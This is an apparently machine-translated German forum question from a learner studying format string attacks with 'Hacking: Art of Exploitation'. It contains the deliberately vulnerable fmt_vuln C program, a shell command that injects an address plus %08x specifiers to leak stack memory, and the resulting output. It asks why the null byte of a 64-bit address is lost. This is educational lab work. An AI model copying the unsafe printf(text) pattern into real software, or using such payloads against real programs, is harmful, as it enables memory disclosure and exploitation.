Ich lerne format string attack aus meinem Buch Hacking: Art of Exploitation. Ich habe dieses kleine Programm, und dies ist der Code:wie man/x00 Speicheradresse in c eingibt?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
if(argc < 2) {
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
// Debug output
printf("[*] test_val @ 0x%016x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
ich mein Programm Eingangsadresse wollen und ausdrucken. Die Adresse ist 0x00600b98
wegen Little-Endian-Byte-Reihenfolge I-Eingang "\x98\x0b\x60\x00"
dies ist mein bash Code: ./fmt_vuln $(python -c 'print "\x98\x0b\x60\x00"')%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
Aber das Problem ist, die erste Adresse (\ x00) seine Null wird und nicht an meine Adresse inputed und wenn der Speicher gedruckt wird, wird es 25600b98
. Also meine Frage ist, warum dieses Problem passiert und wie die Adresse von 00 eingeben?
Dies ist die Ausgabe:
The right way to print user-controlled input:
�
`%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way to print user-controlled input:
�
`f7ff5000.f7dd7970.f7b128c0.f7fd8700.0000002b.ffffe3b8.f7ddb72d.25600b98.
[*] test_val @ 0x0000000000600b98 = -72 0xffffffb8